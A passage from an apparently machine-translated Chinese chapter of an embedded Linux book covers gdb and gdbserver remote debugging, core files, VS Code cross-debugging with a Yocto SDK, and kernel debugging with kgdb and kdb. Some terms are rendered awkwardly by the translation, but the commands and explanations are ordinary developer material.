./bsdiff created; pid = 169 - Listening on port 10000 - ``` - -3. 接下来,从工具链启动 gdb 副本,将其指向程序的未剥离副本,以便 gdb 可以加载符号表: - - ```sh - $ cd output/build/bsdiff-4.3 - $ ~/buildroot/output/host/bin/aarch64-linux-gdb bsdiff - ``` - -4. 在 gdb 中,设置`sysroot`如下: - - ```sh - (gdb) set sysroot ~/buildroot/output/staging - ``` - -5. 然后,使用命令 target remote 建立到`gdbserver`的连接,为其提供目标的 IP 地址或主机名以及它正在等待的端口: - - ```sh - (gdb) target remote 192.168.1.101:10000 - ``` - -6. 当`gdbserver`看到来自主机的连接时,它会打印以下内容: - - ```sh - Remote debugging from host 192.168.1.1 - ``` - -7. We can now load Python command scripts such as `tp.py` into GDB from `/python` and use these commands like so: - - ```sh - (gdb) source tp.py - (gdb) tp search - ``` - - 在本例中,`tp`是*tracepoint*命令的名称,`search`是`bsdiff`中递归函数的名称。 - -8. 要显示 gdb 搜索 Python 命令脚本的目录,请执行以下命令: - - ```sh - (gdb) show data-directory - ``` - -GDB 中的 Python 支持也可用于调试 Python 程序。 Gdb 可以查看 CPython 的内部结构,这是 Python 的标准`pdb`调试器所不具备的。 它甚至可以将 Python 代码注入到正在运行的 Python 进程中。 这样就可以创建强大的调试工具,比如 Facebook 的 Python3 内存分析器([https://github.com/facebookincubator/memory-analyzer](https://github.com/facebookincubator/memory-analyzer))。 - -## 本机调试 - -在目标系统上运行 gdb 的本机副本并不像远程运行那样常见,但这是可能的。 除了在目标映像中安装 gdb 之外,您还需要要调试的可执行文件的未剥离副本以及目标映像中安装的相应源代码。 Yocto 项目和 Buildroot 都允许您这样做。 - -重要音符 - -虽然本机调试不是嵌入式开发人员的常见活动,但在目标系统上运行分析和跟踪工具非常常见。 如果目标上有未剥离的二进制文件和源代码,这些工具通常工作得最好,这就是我在这里讲述的故事的一半。 我将在下一章回到这个主题。 - -### Yocto 计划 - -首先,通过将以下内容添加到`conf/local.conf`,将`gdb`添加到目标图像: - -```sh -EXTRA_IMAGE_FEATURES ?= "tools-debug dbg-pkgs" -``` - -您需要要调试的包的调试信息。 Yocto 项目构建包的调试变体,其中包含未剥离的二进制文件和源代码。 通过将`-dbg`添加到您的`conf/local.conf`,您可以有选择地将这些调试包添加到您的目标映像中。 或者,您可以通过将`dbg-pkgs`添加到`EXTRA_IMAGE_FEATURES`来简单地安装*所有*调试包,如刚才所示。 请注意,这将显著增加目标图像的大小,可能会增加数百兆字节。 - -源代码安装在目标镜像的`/usr/src/debug/`中。 这意味着 gdb 无需运行`set substitute-path`即可获取它。 如果您不需要源代码,可以通过将以下内容添加到您的`conf/local.conf`文件来阻止其安装: - -```sh -PACKAGE_DEBUG_SPLIT_STYLE = "debug-without-src" -``` - -### Buildroot - -使用 Buildroot,您可以通过启用此选项告诉它在目标映像中安装 gdb 的本机副本: - -* `BR2_PACKAGE_GDB_DEBUGGER`在**目标包|调试、分析和基准测试|完全调试器** - -然后,要使用调试信息构建二进制文件,并在不剥离的情况下将其安装在目标映像中,请启用这两个选项中的第一个选项并禁用第二个选项: - -* `BR2_ENABLE_DEBUG`在**生成选项|生成带有调试符号的包** -* `BR2_STRIP_strip`中的**生成选项|剥离目标二进制文件** - -关于本机调试,我要说的就是这些。 同样,这种做法在嵌入式设备上并不常见,因为额外的源代码和调试符号会使目标图像变得臃肿。 接下来,让我们看看另一种形式的远程调试。 - -# 实时调试 - -有时,程序在运行一段时间后会开始不正常,您想知道它在做什么。 Gdb*Attach*特性就是这样做的。 我称之为即时调试。 它既可用于本机调试会话,也可用于远程调试会话。 - -在远程调试的情况下,您需要找到要调试的进程的 PID,并使用`--attach`选项将其传递给`gdbserver`。 例如,如果 PID 为`109`,则应键入以下内容: - -```sh -# gdbserver --attach :10000 109 -Attached; pid = 109 -Listening on port 10000 -``` - -这会强制进程停止,就像它在断点处一样,允许您以正常方式启动跨 gdb 并连接到`gdbserver`。 完成后,您可以`detach`,允许程序在没有调试器的情况下继续运行: - -```sh -(gdb) detach -Detaching from program: /home/chris/MELP/helloworld/helloworld, process 109 -Ending remote debugging. -``` - -通过 PID 附加到正在运行的进程当然很方便,但是多进程或多线程程序又如何呢? 也有使用 gdb 调试这些类型的程序的技术。 - -# 调试叉和线程 - -当您正在调试的程序派生时会发生什么? 调试会话是跟随父进程还是子进程? 此行为由`follow-fork-mode`控制,可以是`parent`或`child`,其中`parent`是默认值。 遗憾的是,当前版本(10.1)的`gdbserver`不支持此选项,因此它只适用于本机调试。 如果您确实需要在使用`gdbserver`时调试子进程,解决方法是修改代码,以便子进程在 fork 之后立即循环一个变量,这样您就有机会将一个新的`gdbserver`会话附加到它,然后设置该变量,使其退出循环。 - -当多线程进程中的线程遇到断点时,默认行为是所有线程暂停。 在大多数情况下,这是最好的做法,因为它允许您查看静态变量,而不会被其他线程更改。 当您重新开始执行线程时,所有停止的线程都会启动,即使您是单步执行,尤其是最后一种情况会导致问题。 有一种方法可以通过名为`scheduler-locking`的参数修改 gdb 处理停止线程的方式。 通常为`off`,但如果将其设置为`on`,则只恢复在 -断点处停止的线程,而其他线程保持停止状态,这样您就有机会在不受干扰的情况下查看该线程单独执行了什么操作。 在关闭`scheduler-locking`之前,这种情况一直存在。 `gdbserver`支持此功能。 - -# 核心文件 - -核心文件捕获失败程序在其终止点的状态。 当 bug 显现时,您甚至不需要和调试器在房间里。 因此,当您看到`Segmentation fault (core dumped)`时,不要耸耸肩;研究**核心文件**并提取其中的信息宝库。 - -第一个观察结果是,默认情况下不会创建核心文件,但只有当进程的核心文件资源限制为非零时才会创建。 您可以使用`ulimit -c`为当前 shell 更改它。 要取消对核心文件大小的所有限制,请键入以下命令: - -```sh -$ ulimit -c unlimited -``` - -默认情况下,核心文件名为`core`,放在进程的当前工作目录中,也就是`/proc//cwd`所指向的目录。 这项计划有很多问题。 首先,当查看包含多个名为`core`的文件的设备时,并不清楚是哪个程序生成了每个文件。 其次,进程的当前工作目录很可能位于只读文件系统中,可能没有足够的空间来存储核心文件,或者进程可能没有写入当前工作目录的权限。 - -有两个文件控制核心文件的命名和放置。 第一个是 -`/proc/sys/kernel/core_uses_pid`。 向其写入`1`会导致将死进程的 PID 号附加到文件名上,只要您可以将 PID 号与日志文件中的程序名相关联,这就有些用处。 - -更有用的是`/proc/sys/kernel/core_pattern`,它使您可以更好地控制核心文件。 默认模式为 core,但您可以将其更改为由以下元字符组成的模式: - -* `%p`:PID -* `%u`:转储进程的真实 UID -* `%g`:转储进程的真实 GID -* `%s`:导致转储的信号编号 -* `%t`:转储时间,自纪元起秒数,1970-01-01 00:00:00+0000(UTC) -* `%h`:主机名 -* `%e`:可执行文件名 -* `%E`:可执行文件的路径名,将斜杠(`/`)替换为感叹号(`!`) -* `%c`:转储进程的核心文件大小软资源限制 - -您还可以使用以绝对目录名开头的模式,以便所有核心文件都集中在一个位置。 例如,下面的模式将所有核心文件放入`/corefiles`目录,并使用程序名和崩溃时间对它们进行命名: - -```sh -# echo /corefiles/core.%e.%t > /proc/sys/kernel/core_pattern -``` - -在`core`转储之后,您会发现类似以下内容: - -```sh -# ls /corefiles -core.sort-debug.1431425613 -``` - -有关详细信息,请参阅手册页`core(5)`。 - -## 使用 gdb 查看核心文件 - -下面的是查看`core`文件的示例 gdb 会话: - -```sh -$ arm-poky-linux-gnueabi-gdb sort-debug /home/chris/rootfs/corefiles/core.sort-debug.1431425613 -[…] -Core was generated by `./sort-debug'. -Program terminated with signal SIGSEGV, Segmentation fault. -#0 0x000085c8 in addtree (p=0x0, w=0xbeac4c60 "the") at sort-debug.c:41 -41 p->word = strdup (w); -``` - -这表明程序在第`41`行停止。 LIST 命令显示 -附近的代码: - -```sh -(gdb) list -37 static struct tnode *addtree (struct tnode *p, char *w) -38 { -39 int cond; -40 -41 p->word = strdup (w); -42 p->count = 1; -43 p->left = NULL; -44 p->right = NULL; -45 -``` - -`backtrace`命令(缩写为`bt`)显示了我们是如何做到这一点的: - -```sh -(gdb) bt -#0 0x000085c8 in addtree (p=0x0, w=0xbeac4c60 "the") at sort-debug.c:41 -#1 0x00008798 in main (argc=1, argv=0xbeac4e24) at sort-debug.c:89 -``` - -这是一个明显的错误:`addtree()`是用空指针调用的。 - -Gdb 最初是一个命令行调试器,许多人仍然以这种方式使用它。 尽管 LLVM 项目的 LLDB 调试器越来越受欢迎,但 GCC 和 gdb 仍然是 Linux 的重要编译器和调试器。 到目前为止,我们只关注 gdb 的命令行界面。 现在我们来看一下 GDB 的一些前台,这些前台的用户界面逐渐变得更加现代化。 - -# 地理数据库用户界面 - -Gdb 通过 gdb 机器接口 gdb/MI 控制在的较低级别,gdb/MI 可用于将 gdb 包装在用户界面中或作为更大程序的一部分,它极大地扩展了可供选择的范围。 - -在本节中,我将描述三个非常适合调试嵌入式目标的工具: -**终端用户界面**(**TUI**)、**数据显示调试器**(**DDD**)和 Visual -Studio 代码。 - -## 终端用户界面 - -**终端用户界面**(**TUI**)是标准 GDB 包的可选部分。 主要功能是一个代码窗口,其中显示即将执行的代码行以及任何断点。 这是对命令行模式 gdb 中 list 命令的明显改进。 - -TUI 的吸引力在于,它无需任何额外设置即可工作,而且由于它处于文本模式,因此可以在 SSH 终端会话上使用,例如,当在目标上本地运行`gdb`时。 大多数交叉工具链使用 TUI 配置 gdb。 只需将`-tui`添加到命令行,您将看到以下内容: - -![Figure 19.3 – TUI](img/B11566_19_03.jpg) - -图 19.3-TUI - -如果您仍然觉得 TUI 缺乏,并且更喜欢真正的图形化前端而不是 gdb,那么 GNU 项目也提供了其中之一([https://www.gnu.org/software/ddd](https://www.gnu.org/software/ddd))。 - -## 调试器数据显示(_D) - -**Data Display Debugger**(**DDD**)是一个简单的独立程序,它为您提供了 GDB 的图形用户界面,而无需最少的麻烦,尽管 UI 控件看起来过时了,但它做了所有必要的事情。 - -`--debugger`选项告诉 DDD 从您的工具链使用 gdb,您可以使用`-x`参数给出 gdb 命令文件的路径: - -```sh -$ ddd --debugger arm-poky-linux-gnueabi-gdb -x gdbinit sort-debug -``` - -下面的屏幕截图展示了最好的功能之一:数据窗口,它包含网格中的项目,您可以根据需要重新排列。 如果双击指针,它将展开为一个新的数据项,并且该链接用箭头显示: - -![Figure 19.4 – DDD](img/B11566_19_04.jpg) - -图 19.4-DDD - -如果这两个 GDB 前端都不能接受,因为您是一个习惯于使用您所在行业最新工具的全栈 Web 开发人员,那么我们仍然可以覆盖您。 - -## Visual Studio 代码 - -**Visual Studio Code**是微软非常流行的开源代码编辑器。 因为它是用 TypeScript 编写的 Electron 应用,所以 VisualStudio 代码感觉比成熟的 IDE(如 Eclipse)更轻量级,响应速度更快。 有丰富的语言支持(代码完成、转到定义等)。 通过其庞大的用户社区贡献的扩展,用于许多语言。 远程跨 GDB 调试可以使用 CMake 和 C/C++扩展集成到 Visual Studio 代码中。 - -### 安装 Visual Studio 代码 - -在 Ubuntu Linux 系统上安装 Visual Studio 代码的最简单方法是使用`snap`: - -```sh -$ sudo snap install --classic code -``` - -在创建可以部署到 Raspberry PI 4 并进行远程调试的 C/C++项目之前,我们首先需要一个工具链。 - -### 安装工具链 - -我们将使用 Yocto 为 Raspberry Pi 4 构建一个 SDK。该 SDK 将包括一个针对 Raspberry Pi 4 的 64 位 ARM 内核的工具链。 在[*第 7 章*](07.html#_idTextAnchor193),*使用 Yocto*开发的*构建现有 BSP*一节中,我们已经使用 Yocto 为 Raspberry PI 4 构建了 64 位 ARM 图像。 - -让我们使用该章中相同`poky/build-rpi`输出目录来构建新的`core-image-minimal-dev`映像以及该映像的相应 SDK: - -1. 首先,在克隆 Yocto 的目录上导航一级。 -2. 接下来,获取`build-rpi`构建环境: - - ```sh - $ source poky/oe-init-build-env build-rpi - ``` - -3. Edit `conf/local.conf` so that it includes the following: - - ```sh - MACHINE ?= "raspberrypi4-64" - IMAGE_INSTALL_append = " gdbserver" - EXTRA_IMAGE_FEATURES ?= "ssh-server-openssh debug-tweaks" - ``` - - `debug-tweaks`功能不需要`root`密码,因此可以使用命令行工具(如`scp`和`ssh`)从主机部署和运行新构建的二进制文件。 - -4. 然后,构建 Raspberry PI 4 的开发映像: - - ```sh - $ bitbake core-image-minimal-dev - ``` - -5. 使用 Etcher 将生成的`core-image-minimal-dev-raspberrypi4-64.wic.bz2`映像从`tmp/deplimg/raspberrypi4-64/`写入 microSD 卡,并在 Raspberry PI 4 上引导它。 -6. 通过以太网将 Raspberry PI 4 插入您的本地网络,并使用`arp-scan`定位 Raspberry PI 4 的 IP 地址。稍后在*配置 CMake*进行远程调试时,我们将需要此 IP 地址。 -7. Lastly, build the SDK: - - ```sh - $ bitbake -c populate_sdk core-image-minimal-dev - ``` - - 重要音符 - - 切勿在生产图像中使用`debug-tweaks`。 OTA 软件更新的自动化 CI/CD 管道至关重要,但必须非常小心,以确保开发映像不会意外泄漏到生产中。 - -现在,我们在`poky/build-rpi`下的`tmp/deploy/sdk`目录中有一个名为`poky-glibc-x86_64-core-image-minimal-dev-aarch64-raspberrypi4-64-toolchain-3.1.5.sh`的自解压安装程序,我们可以使用它在任何 Linux 开发机器上安装这个新构建的 SDK。 在`tmp/deploy/sdk`中找到 SDK 安装程序并运行它: - -```sh -$ ./poky-glibc-x86_64-core-image-minimal-dev-aarch64-raspberrypi4-64-toolchain-3.1.5.sh -Poky (Yocto Project Reference Distro) SDK installer version 3.1.5 -================================================================= -Enter target directory for SDK (default: /opt/poky/3.1.5): -You are about to install the SDK to "/opt/poky/3.1.5". Proceed [Y/n]? Y -[sudo] password for frank: -Extracting SDK..........................................................done -Setting it up...done -SDK has been successfully set up and is ready to be used. -Each time you wish to use the SDK in a new shell session, you need to source the environment setup script e.g. - $ . /opt/poky/3.1.5/environment-setup-aarch64-poky-linux -``` - -请注意,SDK 已安装到`/opt/poky/3.1.5`。 我们不会按照说明获取`environment-setup-aarch64-poky-linux`,但该文件的内容将用于填充即将到来的 Visual Studio 代码的项目文件。 - -### 安装 CMake - -我们将使用**CMake**交叉编译我们将在 Raspberry PI 4 上部署和调试的 C 代码。要在 Ubuntu Linux 上安装 CMake,请执行以下命令: - -```sh -$ sudo apt update -$ sudo apt install cmake -``` - -CMake 应该已经作为[*第 2 章*](02.html#_idTextAnchor029),*了解工具链*的一部分安装在您的主机上。 - -### 创建 Visual Studio 代码项目 - -使用 CMake 构建的项目具有规范的结构,其中包括一个`CMakeLists.txt`文件和单独的`src`和`build`目录。 - -在您的主目录中创建名为`hellogdb`的 Visual Studio 代码项目: - -```sh -$ mkdir hellogdb -$ cd hellogdb -$ mkdir src build -$ code . -``` - -最后一个`code .`命令将启动 Visual Studio 代码并打开`hellogdb`目录。 当您从目录启动 Visual Studio 代码时,还会创建一个隐藏的`.vscode`目录,其中包含项目的`settings.json`和`launch.json`。 - -### 安装 Visual Studio 代码扩展 - -我们需要安装以下 Visual Studio 代码扩展,以便使用 SDK 中的工具链交叉编译和调试代码: - -* Microsoft 提供的 C/C++ -* CMake by Txs -* 微软的 CMake Tools - -单击 Visual Studio 代码窗口左侧的**Extensions**图标,在 Marketplace 中搜索这些扩展并安装它们。 安装后,您的**扩展**侧栏应该如下所示: - -![Figure 19.5 – Extensions](img/B11566_19_05.jpg) - -图 19.5-扩展 - -现在,我们将使用 CMake 集成我们构建的 SDK 附带的工具链,用于交叉编译和调试我们的`hellogdb`项目。 - -### ==同步,由 Elderman 更正==@ELDER_MAN - -我们需要填充`CMakeLists.txt`和`cross.cmake`,以使用我们的工具链交叉编译`hellogdb`项目: - -1. 首先,将`MELP/Chapter19/hellogdb/CMakeLists.txt`复制到主目录中的`hellogdb`项目文件夹。 -2. 在 Visual Studio 代码中,单击 Visual Studio 窗口左上角的**Explorer**图标,打开**Explorer**侧边栏。 -3. 单击**Explorer**侧栏中的`CMakeLists.txt`查看文件内容。 请注意,项目名称定义为`HelloGDBProject`,目标板的 IP 地址硬编码为`192.168.1.128`。 -4. 将其更改为与 Raspberry PI 4 的 IP 地址相匹配,并保存`CMakeLists.txt`文件。 -5. 展开**src**文件夹,然后单击**Explorer**侧边栏中的**New File**图标,在`hellogdb`项目的`src`目录中创建名为`main.c`的文件。 -6. 将以下代码粘贴到那个`main.c`源文件中并保存它: - - ```sh - #include - int main() { -     printf("Hello CMake\n"); -     return 0; - } - ``` - -7. 将`MELP/Chapter19/hellogdb/cross.cmake`复制到主目录中的`hellogdb`项目文件夹。 -8. 最后,单击**Explorer**侧边栏中的`cross.cmake`查看文件内容。 请注意,`cross.cmake`中定义的`sysroot_target`和`tools`路径指向我们安装 SDK 的`/opt/poky/3.1.5`目录。 还要注意,`CMAKE_C_COMPILE`、`CMAKE_CXX_COMPILE`和`CMAKE_CXX_FLAGS`变量的值是直接从 SDK 附带的环境设置脚本派生的。 - -有了这两个文件,我们就可以构建我们的`hellogdb`项目了。 - -### 配置用于生成的项目设置 - -现在,让我们将`hellogdb`项目的`settings.json`文件配置为使用`CMakeLists.txt`和`cross.cmake`构建: - -1. 在 Visual Studio 代码中打开`hellogdb`项目后,点击*Ctrl+Shift+P*以调出**Command Palette**字段。 -2. 在**命令调色板**字段中输入`>settings.json`,然后从选项列表中选择**首选项:打开工作空间设置(JSON)**。 -3. Edit the `.vscode/settings.json` for `hellogdb` so that it looks something like this: - - ```sh - { -     "cmake.sourceDirectory": "${workspaceFolder}", -     "cmake.configureArgs": [ -         "-DCMAKE_TOOLCHAIN_FILE=${workspaceFolder}/cross.cmake" -     ], -     "C_Cpp.default.configurationProvider": "ms-vscode.cmake-tools" - } - ``` - - 请注意`cmake.configureArgs`定义中对`cross.cmake`的引用。 - -4. 点击*Ctrl+Shift+P*再次调出**命令调色板**字段。 -5. 在**Command Palette**字段中输入`>CMake: Delete Cache and Configuration`并执行它。 -6. 单击 Visual Studio 窗口左边缘的**CMake**图标以打开**CMake**侧边栏。 -7. 单击**CMake**侧边栏中的`HelloGDBProject`二进制文件以构建它: - -![Figure 19.6 – Building HelloGDBProject](img/B11566_19_06.jpg) - -图 19.6-构建 HelloGDBProject - -如果您正确配置了所有内容,**Output**窗格的内容应该类似于 -: - -```sh -[main] Building folder: hellogdb HelloGDBProject -[build] Starting build -[proc] Executing command: /usr/bin/cmake --build /home/frank/hellogdb/build --config Debug --target HelloGDBProject -- -j 14 -[build] [100%] Built target HelloGDBProject -[build] Build finished with exit code 0 -``` - -现在我们已经使用 Visual Studio 代码构建了一个针对 64 位 ARM 的可执行二进制文件,让我们将其部署到 Raspberry PI 4 中进行远程调试。 - -### 配置远程调试的启动设置 - -现在,让我们创建一个`launch.json`文件,以便可以将`HelloGDBProject`二进制文件部署到 RaspberryPI 4,并从 Visual Studio 代码中远程调试它: - -1. 单击 Visual Studio 代码窗口左边缘的**Run**图标,打开**Run**侧边栏。 -2. 在**Run**侧边栏上单击**create a Launch.json file**,然后为环境选择**C++(gdb/ldb)**。 -3. 提示输入 C/C++调试配置类型时,从选项列表中选择**Default Configuration**。 -4. 在`.vscode/launch.json`内的`"(gdb) Launch"`配置中添加或编辑以下字段,如下所示: - - ```sh - "program": "${workspaceFolder}/build/HelloGDBProject", - "miDebuggerServerAddress": "192.168.1.128:10000", - "targetArchitecture": "aarch64", - "miDebuggerPath": "/opt/poky/3.1.5/sysroots/x86_64-pokysdk-linux/usr/bin/aarch64-poky-linux/aarch64-poky-linux-gdb", - ``` - -5. 将`miDebuggerServerAddress`中的`192.168.1.128`地址替换为您的 Raspberry PI 4 的 IP 地址,然后保存该文件。 -6. 在`main()`函数体的第一行的`main.c`中设置断点。 -7. 在**Run**侧边栏中单击新的**Build_and_Debug-Utility**,将`HelloGDBProject`二进制文件发送到 Raspberry PI 4 并用`gdbserver`启动。 - -如果 Raspberry PI 4 和`launch.json`文件设置正确,则**Output**窗格的内容应如下所示: - -```sh -[main] Building folder: hellogdb build_and_debug -[build] Starting build -[proc] Executing command: /usr/bin/cmake --build /home/frank/hellogdb/build --config Debug --target build_and_debug -- -j 14 -[build] [100%] Built target HelloGDBProject -[build] Process ./HelloGDBProject created; pid = 552 -[build] Listening on port 10000 -``` - -单击 Visual Studio 代码窗口左上角的**(Gdb)Launch**按钮。 Gdb 应该命中我们在`main.c`中设置的断点,并且在**输出**窗格中应该出现如下所示的行: - -```sh -[build] Remote debugging from host 192.168.1.69, port 44936 -``` - -这是当 gdb 到达断点时 VisualStudio 代码应该是什么样子: - -![Figure 19.7 – GDB remote debugging](img/B11566_19_07.jpg) - -图 19.7-GDB 远程调试 - -点击上方悬停的蓝色**Continue**按钮,输出窗格中应显示以下行: - -```sh -[build] Hello CMake -[build] -[build] Child exited with status 0 -[build] [100%] Built target build_and_debug -[build] Build finished with exit code 0 -``` - -祝贺你!。 您已经使用 CMake 成功地将使用 Yocto 构建的 SDK 集成到 Visual Studio 代码中,以便在目标设备上启用 GDB 远程调试。 这 -不是一个小壮举,但是现在您已经了解了它是如何完成的,您可以为您自己的项目做同样的事情。 - -# 调试内核代码 - -您可以使用`kgdb`进行源代码级别的调试,其方式类似于使用`gdbserver`进行远程调试。 还有一个自托管内核调试器`kdb`,它对于轻量级任务非常方便,比如查看指令是否已执行,以及获取回溯以找出它是如何到达那里的。 最后,还有内核*Oops*消息和死机,它们告诉您很多关于内核异常原因的信息。 - -## 使用 kgdb 调试内核代码 - -在使用源代码调试器查看内核代码时,必须记住内核是一个复杂的系统,具有实时行为。 不要期望调试像调试应用一样简单。 单步执行更改内存映射或切换上下文的代码可能会产生奇怪的结果。 - -**kgdb**是给内核 gdb 存根命名的,多年来,内核 gdb 存根一直是主流 Linux 的一部分。 内核 Docbook 中有一个用户手册,您可以在[https://www.kernel.org/doc/htmldocs/kgdb/index.html](https://www.kernel.org/doc/htmldocs/kgdb/index.html)上找到在线版本。 - -在大多数情况下,您将通过串行接口连接到`kgdb`,该接口通常与串行控制台共享。 因此,此实现称为**kgdboc**,是 Console 上的**kgdb 的缩写。 要工作,它需要支持 I/O 轮询而不是中断的平台`tty`驱动程序,因为`kgdb`在与 GDB 通信时必须禁用中断。 有几个平台支持 USB 上的`kgdb`,也有一些版本可以在以太网上工作,但不幸的是,这些版本都没有进入主流 Linux。** - -关于优化和堆栈框架的相同警告也适用于内核,但限制是内核被编写为假定优化级别至少为`-O1`。 您可以通过在运行`make`之前设置`KCFLAGS`来覆盖内核编译标志。 - -那么,以下是内核调试所需的内核配置选项: - -* `CONFIG_DEBUG_INFO`在**内核破解|编译时检查和编译器选项|使用调试信息编译内核**菜单中。 -* `CONFIG_FRAME_POINTER`可能是适用于您的体系结构的选项,位于**内核破解|编译时检查和编译器选项|使用帧指针编译内核**菜单中。 -* `CONFIG_KGDB`在**内核破解|kgdb:内核调试器**菜单中。 -* `CONFIG_KGDB_SERIAL_CONSOLE`位于**内核黑客|kgdb:内核调试器|kgdb:在串行控制台**菜单上使用 kgdb。 - -除了`zImage`或`uImage`压缩内核映像之外,内核映像必须是 ELF 对象格式,以便 gdb 可以将符号加载到内存中。 这是在构建 Linux 的目录中生成的名为`vmlinux`的文件。 在 Yocto 中,您可以请求在目标镜像和 SDK 中包含一份副本。 它被构建为一个名为`kernel-vmlinux`的软件包,您可以像安装任何其他软件包一样安装它,例如,通过将其添加到`IMAGE_INSTALL`列表中。 - -该文件被放入 sysroot`boot`目录,名称如下: - -```sh -/opt/poky/3.1.5/sysroots/cortexa8hf-neon-poky-linux-gnueabi/boot/vmlinux-5.4.72-yocto-standard -``` - -在 Buildroot 中,您将在构建内核的目录中找到`vmlinux`,该目录位于`output/build/linux-/vmlinux`中。 - -## 示例调试会话 - -向您展示它的工作原理的最好方法是用一个简单的例子。 - -您需要通过内核命令行或在运行时通过`sysfs`告知`kgdb`使用哪个串行端口。 对于第一个选项,将`kgdboc=,`添加到命令行,如下所示: - -```sh -kgdboc=ttyO0,115200 -``` - -对于第二个选项,启动设备并将终端名称写入 -`/sys/module/kgdboc/parameters/kgdboc`文件,如下所示: - -```sh -# echo ttyO0 > /sys/module/kgdboc/parameters/kgdboc -``` - -请注意,您不能以这种方式设置波特率。 如果它与控制台相同`tty`,则它已经设置。 如果没有,请使用`stty`或类似的程序。 - -现在,您可以在主机上启动 gdb,选择与 -运行的内核匹配的`vmlinux`文件: - -```sh -$ arm-poky-linux-gnueabi-gdb ~/linux/vmlinux -``` - -Gdb 从`vmlinux`加载符号表,并等待进一步输入。 - -接下来,关闭连接到控制台的任何终端仿真器:您将要将其用于 gdb,如果两者同时处于活动状态,则某些调试字符串可能会损坏。 - -现在,您可以返回 gdb 并尝试连接到`kgdb`。 但是,您会发现此时从`target remote`得到的响应无济于事: - -```sh -(gdb) set serial baud 115200 -(gdb) target remote /dev/ttyUSB0 -Remote debugging using /dev/ttyUSB0 -Bogus trace status reply from target: qTStatus -``` - -问题是`kgdb`此时没有侦听连接。 在进入与内核的交互式 gdb 会话之前,您需要中断内核。 不幸的是,只是在 gdb 中键入*Ctrl+C*,就像在应用中一样,不能正常工作。 您必须通过在目标上启动另一个 shell(例如,通过 SSH)并在目标板上将`g`写入`/proc/sysrq-trigger`来强制陷阱进入内核: - -```sh -# echo g > /proc/sysrq-trigger -``` - -目标在这一点上停了下来。 现在,您可以通过电缆主机端的串行设备连接到`kgdb`: - -```sh -(gdb) set serial baud 115200 -(gdb) target remote /dev/ttyUSB0 -Remote debugging using /dev/ttyUSB0 -0xc009a59c in arch_kgdb_breakpoint () -``` - -最后,广发银行掌权了。 您可以设置断点、检查变量、查看回溯等。 例如,在`sys_sync`上设置一个断点,如下所示: - -```sh -(gdb) break sys_sync -Breakpoint 1 at 0xc0128a88: file fs/sync.c, line 103. -(gdb) c -Continuing. -``` - -现在目标又复活了(T2)。 在目标上键入`sync`将调用`sys_sync`并点击 -断点: - -```sh -[New Thread 87] -[Switching to Thread 87] -Breakpoint 1, sys_sync () at fs/sync.c:103 -``` - -如果您已完成调试会话并想要禁用`kgdboc`,只需将`kgdboc`端子设置为`null`即可: - -```sh -# echo "" > /sys/module/kgdboc/parameters/kgdboc -``` - -与使用 gdb 附加到正在运行的进程类似,这种捕获内核并通过串行控制台连接到`kgdb`的技术在内核引导完成后起作用。 但是,如果内核因为错误而无法完成引导,该怎么办呢? - -## 调试早期代码 - -前面的示例在系统完全引导时执行您感兴趣的代码的情况下有效。 如果您需要提早进入,您可以通过在命令行中的`kgdboc`选项后面添加`kgdbwait`来告诉内核在引导期间等待: - -```sh -kgdboc=ttyO0,115200 kgdbwait -``` - -现在,当您引导时,您将在控制台上看到以下内容: - -```sh -[ 1.103415] console [ttyO0] enabled -[ 1.108216] kgdb: Registered I/O driver kgdboc. -[ 1.113071] kgdb: Waiting for connection from remote gdb... -``` - -此时,您可以按常规方式关闭控制台并从 gdb 连接。 - -## 调试模块 - -调试内核模块带来了额外的挑战,因为代码在运行时被重新定位,因此您需要找出它驻留在什么地址。 信息通过`sysfs`呈现。 模块每个部分的重定位地址存储在`/sys/module//sections`中。 请注意,由于 ELF 节以点(`.`)开头,因此它们显示为隐藏文件,如果要列出它们,则必须使用`ls -a`。 重要的是`.text`、`.data`和`.bss`。 - -以名为`mbx`的模块为例: - -```sh -# cat /sys/module/mbx/sections/.text -0xbf000000 -# cat /sys/module/mbx/sections/.data -0xbf0003e8 -# cat /sys/module/mbx/sections/.bss -0xbf0005c0 -``` - -现在,您可以在 gdb 中使用这些数字来加载位于这些地址的模块的符号表: - -```sh -(gdb) add-symbol-file /home/chris/mbx-driver/mbx.ko 0xbf000000 \ --s .data 0xbf0003e8 -s .bss 0xbf0005c0 -add symbol table from file "/home/chris/mbx-driver/mbx.ko" at -.text_addr = 0xbf000000 -.data_addr = 0xbf0003e8 -.bss_addr = 0xbf0005c0 -``` - -现在,一切都应该正常工作:您可以在模块中设置断点并检查全局变量和局部变量,就像在`vmlinux`中一样: - -```sh -(gdb) break mbx_write -Breakpoint 1 at 0xbf00009c: file /home/chris/mbx-driver/mbx.c, line 93. -(gdb) c -Continuing. -``` - -然后,强制设备驱动程序调用`mbx_write`,它将命中断点: - -```sh -Breakpoint 1, mbx_write (file=0xde7a71c0, buffer=0xadf40 "hello\n\n", -length=6, offset=0xde73df80) -at /home/chris/mbx-driver/mbx.c:93 -``` - -如果您已经使用 gdb 在用户空间调试代码,那么您应该可以轻松地使用`kgdb`调试内核代码和模块。 接下来让我们看一下`kdb`。 - -## 使用 kdb 调试内核代码 - -虽然**kdb**不具备`kgdb`和 gdb 的特性,但它确实有其用途,而且是自托管的,不需要担心外部依赖。 `kdb`有一个简单的命令行界面,您可以在串行控制台上使用。 您可以使用它检查内存、寄存器、进程列表和`dmesg`,甚至可以将断点设置为在某个位置停止。 - -要配置内核以便可以通过串行控制台调用`kdb`,请启用前面所示的`kgdb`,然后启用此附加选项: - -* `CONFIG_KGDB_KDB`,位于**kgdb:内核破解|内核调试器|kgdb_kdb:包含 kgdb**菜单的 kdb 前端 - -现在,当您强制内核进入陷阱时,您将在控制台上看到`kdb`shell,而不是进入 gdb 会话: - -```sh -# echo g > /proc/sysrq-trigger -[ 42.971126] SysRq : DEBUG -Entering kdb (current=0xdf36c080, pid 83) due to Keyboard Entry -kdb> -``` - -您可以在`kdb`shell 中执行很多操作。 `help`命令将打印所有选项。 以下是对此的概述: - -* **Getting information**: - - `ps`:此选项显示活动进程。 - - `ps A`:显示所有进程。 - - `lsmod`:列出模块。 - - `dmesg`:这将显示内核日志缓冲区。 - -* **Breakpoints**: - - `bp`:这将设置断点。 - - `bl`:这列出了断点。 - - `bc`:这将清除断点。 - - `bt`:这将打印回溯。 - - `go`:这将继续执行。 - -* **Inspect memory and registers**: - - `md`:这显示内存。 - - `rd`:此选项显示寄存器。 - -下面是设置断点的快速示例: - -```sh -kdb> bp sys_sync -Instruction(i) BP #0 at 0xc01304ec (sys_sync) -is enabled addr at 00000000c01304ec, 